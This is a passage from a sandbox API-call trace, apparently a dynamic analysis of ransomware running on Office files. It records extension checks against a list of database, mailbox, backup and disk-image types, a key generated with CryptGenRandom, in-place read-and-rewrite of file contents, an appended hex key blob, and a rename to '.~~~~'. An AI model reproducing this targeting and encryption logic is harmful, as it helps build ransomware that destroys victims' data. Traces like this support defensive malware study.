	[0079.006] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0079.007] lstrlenW (lpString=".dbf") returned 4
	[0079.007] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0079.007] lstrlenW (lpString=".SQL") returned 4
	[0079.062] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0079.063] lstrlenW (lpString=".pst") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0079.063] lstrlenW (lpString=".dbv") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0079.063] lstrlenW (lpString=".SDF") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0079.063] lstrlenW (lpString=".dtxs") returned 5
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0079.063] lstrlenW (lpString=".db3") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0079.063] lstrlenW (lpString=".OST") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0079.063] lstrlenW (lpString=".dbx") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0079.063] lstrlenW (lpString=".DB3") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0079.063] lstrlenW (lpString=".DAT") returned 4
	[0079.063] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0079.064] lstrlenW (lpString=".VHDX") returned 5
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0079.064] lstrlenW (lpString=".ndf") returned 4
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0079.064] lstrlenW (lpString=".DB") returned 3
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0079.064] lstrlenW (lpString=".sql") returned 4
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0079.064] lstrlenW (lpString=".MYD") returned 4
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0079.064] lstrlenW (lpString=".DBT") returned 4
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0079.064] lstrlenW (lpString=".ACCDB") returned 6
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0079.064] lstrlenW (lpString=".fdb") returned 4
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0079.064] lstrlenW (lpString=".bak") returned 4
	[0079.064] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0079.064] lstrlenW (lpString=".myd") returned 4
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0079.065] lstrlenW (lpString=".DTXS") returned 5
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0079.065] lstrlenW (lpString=".ckp") returned 4
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0079.065] lstrlenW (lpString=".dbt") returned 4
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0079.065] lstrlenW (lpString=".db") returned 3
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0079.065] lstrlenW (lpString=".TXT") returned 4
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0079.065] lstrlenW (lpString=".MDF") returned 4
	[0079.065] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0079.065] lstrlenW (lpString=".bdb") returned 4
	[0079.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0079.066] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.066] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.066] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.067] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.067] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0079.067] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19905729251) returned 1
	[0079.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x98fc36d0, dwHighDateTime=0x1d60e1e)) 
	[0079.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b1a8
	[0079.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1a8 | out: hHeap=0x300000) returned 1
	[0079.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0079.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0079.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.068] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.068] GetLastError () returned 0x0
	[0079.068] GetLastError () returned 0x0
	[0079.069] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.069] GetLastError () returned 0x0
	[0079.069] GetLastError () returned 0x0
	[0079.069] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.074] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.074] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.076] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0079.076] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.076] WriteFile (in: hFile=0x134, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.078] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.078] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.079] CloseHandle (hObject=0x134) returned 1
	[0079.080] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0079.080] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.~~~~")) returned 1
	[0079.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b42b0 | out: hHeap=0x300000) returned 1
	[0079.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0079.081] GetLastError () returned 0x0
	[0079.081] RtlWakeConditionVariable () returned 0x365f70
	[0079.081] GetCurrentThreadId () returned 0x9f4
	[0079.081] GetCurrentThreadId () returned 0x9f4
	[0079.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6b50
	[0079.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6d48 | out: hHeap=0x300000) returned 1
	[0079.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b410 | out: hHeap=0x300000) returned 1
	[0079.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6d48
	[0079.081] lstrlenW (lpString=".scr") returned 4
	[0079.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".scr") returned 0x0
	[0079.081] lstrlenW (lpString=".cmd") returned 4
	[0079.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".cmd") returned 0x0
	[0079.082] lstrlenW (lpString=".dll") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dll") returned 0x0
	[0079.082] lstrlenW (lpString=".bat") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".bat") returned 0x0
	[0079.082] lstrlenW (lpString=".cpl") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".cpl") returned 0x0
	[0079.082] lstrlenW (lpString=".sys") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".sys") returned 0x0
	[0079.082] lstrlenW (lpString=".msc") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".msc") returned 0x0
	[0079.082] lstrlenW (lpString=".com") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".com") returned 0x0
	[0079.082] lstrlenW (lpString=".lnk") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".lnk") returned 0x0
	[0079.082] lstrlenW (lpString=".msp") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".msp") returned 0x0
	[0079.082] lstrlenW (lpString=".pif") returned 4
	[0079.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".pif") returned 0x0
	[0079.083] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.083] lstrlenW (lpString=".sqb") returned 4
	[0079.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".sqb") returned 0x0
	[0079.083] lstrlenW (lpString=".ost") returned 4
	[0079.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".ost") returned 0x0
	[0079.084] lstrlenW (lpString=".txt") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".txt") returned 0x0
	[0079.084] lstrlenW (lpString=".mdt") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".mdt") returned 0x0
	[0079.084] lstrlenW (lpString=".BDB") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".BDB") returned 0x0
	[0079.084] lstrlenW (lpString=".eql") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".eql") returned 0x0
	[0079.084] lstrlenW (lpString=".DBF") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DBF") returned 0x0
	[0079.084] lstrlenW (lpString=".EQL") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".EQL") returned 0x0
	[0079.084] lstrlenW (lpString=".FDB") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".FDB") returned 0x0
	[0079.084] lstrlenW (lpString=".EDB") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".EDB") returned 0x0
	[0079.084] lstrlenW (lpString=".DACPAC") returned 7
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.084] lstrlenW (lpString=".VHD") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".VHD") returned 0x0
	[0079.084] lstrlenW (lpString=".DBV") returned 4
	[0079.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DBV") returned 0x0
	[0079.085] lstrlenW (lpString=".dacpac") returned 7
	[0079.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dacpac") returned 0x0
	[0079.085] lstrlenW (lpString=".sdf") returned 4
	[0079.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".sdf") returned 0x0
	[0079.085] lstrlenW (lpString=".accdb") returned 6
	[0079.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".accdb") returned 0x0
	[0079.085] lstrlenW (lpString=".DBX") returned 4
	[0079.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DBX") returned 0x0
	[0079.085] lstrlenW (lpString=".MDT") returned 4
	[0079.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".MDT") returned 0x0
	[0079.086] lstrlenW (lpString=".SQB") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".SQB") returned 0x0
	[0079.086] lstrlenW (lpString=".vhd") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".vhd") returned 0x0
	[0079.086] lstrlenW (lpString=".bac") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".bac") returned 0x0
	[0079.086] lstrlenW (lpString=".mdf") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".mdf") returned 0x0
	[0079.086] lstrlenW (lpString=".BAK") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".BAK") returned 0x0
	[0079.086] lstrlenW (lpString=".BAC") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".BAC") returned 0x0
	[0079.086] lstrlenW (lpString=".dbs") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dbs") returned 0x0
	[0079.086] lstrlenW (lpString=".vhdx") returned 5
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".vhdx") returned 0x0
	[0079.086] lstrlenW (lpString=".NDF") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".NDF") returned 0x0
	[0079.086] lstrlenW (lpString=".dat") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dat") returned 0x0
	[0079.086] lstrlenW (lpString=".DBS") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DBS") returned 0x0
	[0079.086] lstrlenW (lpString=".CKP") returned 4
	[0079.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".CKP") returned 0x0
	[0079.087] lstrlenW (lpString=".edb") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".edb") returned 0x0
	[0079.087] lstrlenW (lpString=".PST") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".PST") returned 0x0
	[0079.087] lstrlenW (lpString=".dbf") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dbf") returned 0x0
	[0079.087] lstrlenW (lpString=".SQL") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".SQL") returned 0x0
	[0079.087] lstrlenW (lpString=".pst") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".pst") returned 0x0
	[0079.087] lstrlenW (lpString=".dbv") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dbv") returned 0x0
	[0079.087] lstrlenW (lpString=".SDF") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".SDF") returned 0x0
	[0079.087] lstrlenW (lpString=".dtxs") returned 5
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dtxs") returned 0x0
	[0079.087] lstrlenW (lpString=".db3") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".db3") returned 0x0
	[0079.087] lstrlenW (lpString=".OST") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".OST") returned 0x0
	[0079.087] lstrlenW (lpString=".dbx") returned 4
	[0079.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".dbx") returned 0x0
	[0079.087] lstrlenW (lpString=".DB3") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DB3") returned 0x0
	[0079.088] lstrlenW (lpString=".DAT") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DAT") returned 0x0
	[0079.088] lstrlenW (lpString=".VHDX") returned 5
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".VHDX") returned 0x0
	[0079.088] lstrlenW (lpString=".ndf") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".ndf") returned 0x0
	[0079.088] lstrlenW (lpString=".DB") returned 3
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".DB") returned 0x0
	[0079.088] lstrlenW (lpString=".sql") returned 4
	[0079.088] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL", lpSrch=".sql") returned 0x0
	[0079.088] lstrlenW (lpString=".MYD") returned 4
